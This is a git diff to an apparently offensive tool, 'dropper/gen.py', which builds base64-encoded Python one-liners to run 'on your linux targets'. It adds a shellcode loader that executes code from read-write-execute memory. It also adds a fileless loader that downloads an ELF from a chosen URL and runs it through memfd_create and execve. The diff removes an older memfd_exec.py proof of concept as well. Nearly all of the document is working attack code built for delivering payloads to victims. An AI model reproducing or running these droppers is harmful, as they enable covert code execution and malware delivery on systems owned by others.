diff --git a/dropper/gen.py b/dropper/gen.py
index 5df2f3781..7b57645bb 100755
--- a/dropper/gen.py
+++ b/dropper/gen.py
@@ -4,24 +4,14 @@
 generate a one liner for python based shellcode delivery
 '''
 
-# pylint: disable=invalid-name
+# pylint: disable=invalid-name, broad-except
 
+import atexit
 import base64
+import readline
 import sys
 
-try:
-    shellcode_txt = sys.argv[1]
-except IndexError:
-    print(f"usage: {sys.argv[0]} <shellcode file>")
-    sys.exit(1)
-
-try:
-    shellcode = open(shellcode_txt).read().strip()
-except FileNotFoundError:
-    print(f"put your shellcode in {shellcode_txt}")
-    sys.exit(1)
-
-template = f'''
+sc_loader_template = '''
 import ctypes
 import sys
 from ctypes.util import find_library
@@ -31,7 +21,7 @@
 MAP_PRIVATE = 0X02
 MAP_ANONYMOUS = 0X20
 ENOMEM = -1
-SHELLCODE = "{shellcode}"
+SHELLCODE = "{var_0}"
 libc = ctypes.CDLL(find_library('c'))
 mmap = libc.mmap
 mmap.argtypes = [ctypes.c_void_p, ctypes.c_size_t,
@@ -43,8 +33,10 @@
 cptr = mmap(0, mem_size, PROT_READ | PROT_WRITE |
             PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS,
             -1, 0)
+
 if cptr == ENOMEM:
     sys.exit("mmap")
+
 if sc_size <= mem_size:
     ctypes.memmove(cptr, SHELLCODE, sc_size)
     sc = ctypes.CFUNCTYPE(ctypes.c_void_p, ctypes.c_void_p)
@@ -52,9 +44,119 @@
     call_sc(None)
 '''
 
-# download_exec_template = f'''import urllib2;u=urllib2.urlopen('{url}');print(u.read());'''
+memfd_exec_loader_template = '''
+import ctypes
+import urllib2
+from ctypes.util import find_library
+
+d = urllib2.urlopen('{var_0}').read()
+count = len(d)
+# memfd_create
+syscall = ctypes.CDLL(None).syscall
+syscall.restype = ctypes.c_int
+syscall.argtypes = [ctypes.c_long, ctypes.c_char_p, ctypes.c_uint]
+fd = syscall(319, '', 0)
+# write
+syscall.restype = ctypes.c_ssize_t
+syscall.argtypes = [ctypes.c_long, ctypes.c_int,
+                    ctypes.c_void_p, ctypes.c_size_t]
+res = syscall(1, fd, d, count)
+# execve
+syscall.restype = ctypes.c_int
+syscall.argtypes = [ctypes.c_long, ctypes.c_char_p, ctypes.POINTER(
+    ctypes.c_char_p), ctypes.POINTER(ctypes.c_char_p)]
+str_arr = ctypes.c_char_p * 2
+argv = str_arr()
+argv[:] = [{var_1}]
+res = syscall(59, "/proc/self/fd/"+str(fd), argv, None)
+'''
+
+
+class Dropper:
+    '''
+    Generate a shell command dropper using one of the python2 templates
+    '''
+
+    def __init__(self, dropper):
+        self.dropper = dropper
+        self.args = []
+        self.select_dropper()
 
-payload = base64.b64encode(template.encode("utf-8"))
-print(f'''echo "exec('{payload.decode('utf-8')}'.decode('base64'))"|python''')
+        if self.args is None and '{var_0}' in self.dropper:
+            print("no args given, the dropper won't work")
+        i = 0
+        for var in self.args:
+            self.dropper = self.dropper.replace('{var_'+str(i)+'}', var)
+            i += 1
+
+    def select_dropper(self):
+        '''
+
+        return the template
+        '''
+        if self.dropper == "shellcode":
+            self.dropper = sc_loader_template
+            self.config_shellcode_loader()
+        elif self.dropper == "memfd_exec":
+            self.dropper = memfd_exec_loader_template
+            self.config_memfd_exec()
+
+    def config_shellcode_loader(self):
+        '''
+        shellcode loader code
+        '''
+        shellcode = input(
+            "[?] shellcode hex string (eg. '\\x00\\x01'): ").strip()
+        self.args.append(shellcode)
+
+    def config_memfd_exec(self):
+        '''
+        memfd_exec code
+        '''
+        url = input("[?] URL to your ELF binary: ").strip()
+        self.args.append(url)
+        argv = input(
+            "[?] argv array to run your ELF (eg. 'ls', '-lah', '/tmp'): ").strip()
+        self.args.append(argv)
+
+    def gen_cmd(self):
+        '''
+        generate the cmd for dropping
+        '''
+        payload = base64.b64encode(self.dropper.encode("utf-8"))
+        print(
+            f'''echo "exec('{payload.decode('utf-8')}'.decode('base64'))"|python''')
+
+        print("\n\nRun this one liner on your linux targets")
+
+
+# usage
+try:
+    dropper_selection = sys.argv[1]
+except IndexError:
+    print(f"{sys.argv[0]} <shellcode/memfd_exec>")
+    sys.exit(1)
+
+
+def save(prev_h_len, hfile):
+    '''
+    append to histfile
+    '''
+    new_h_len = readline.get_current_history_length()
+    readline.set_history_length(1000)
+    readline.append_history_file(new_h_len - prev_h_len, hfile)
+
+
+# support GNU readline interface, command history
+histfile = "/tmp/.dropper_gen_history"
+try:
+    readline.read_history_file(histfile)
+    h_len = readline.get_current_history_length()
+except FileNotFoundError:
+    open(histfile, 'wb').close()
+    h_len = 0
+atexit.register(save, h_len, histfile)
 
-print("\n\nRun this one liner on your linux targets")
+# run
+dropper_gen = Dropper(dropper_selection)
+dropper_gen.gen_cmd()
diff --git a/dropper/memfd_exec.py b/dropper/memfd_exec.py
deleted file mode 100644
index 89e698220..000000000
--- a/dropper/memfd_exec.py
+++ /dev/null
@@ -1,32 +0,0 @@
-import ctypes
-from ctypes.util import find_library
-
-import urllib2
-
-# u = urllib2.urlopen('')
-# d = u.read()
-
-elf = open("/usr/bin/sleep").read()
-count = len(elf)
-
-# memfd_create
-syscall = ctypes.CDLL(None).syscall
-syscall.restype = ctypes.c_int
-syscall.argtypes = [ctypes.c_long, ctypes.c_char_p, ctypes.c_uint]
-fd = syscall(319, '', 0)
-
-# write
-syscall.restype = ctypes.c_ssize_t
-syscall.argtypes = [ctypes.c_long, ctypes.c_int,
-                    ctypes.c_void_p, ctypes.c_size_t]
-res = syscall(1, fd, elf, count)
-
-# execve
-syscall.restype = ctypes.c_int
-syscall.argtypes = [ctypes.c_long, ctypes.c_char_p, ctypes.POINTER(
-    ctypes.c_char_p), ctypes.POINTER(ctypes.c_char_p)]
-str_arr = ctypes.c_char_p * 2
-argv = str_arr()
-argv[0] = "sleep"
-argv[1] = "120"
-res = syscall(59, "/proc/self/fd/"+str(fd), argv, None)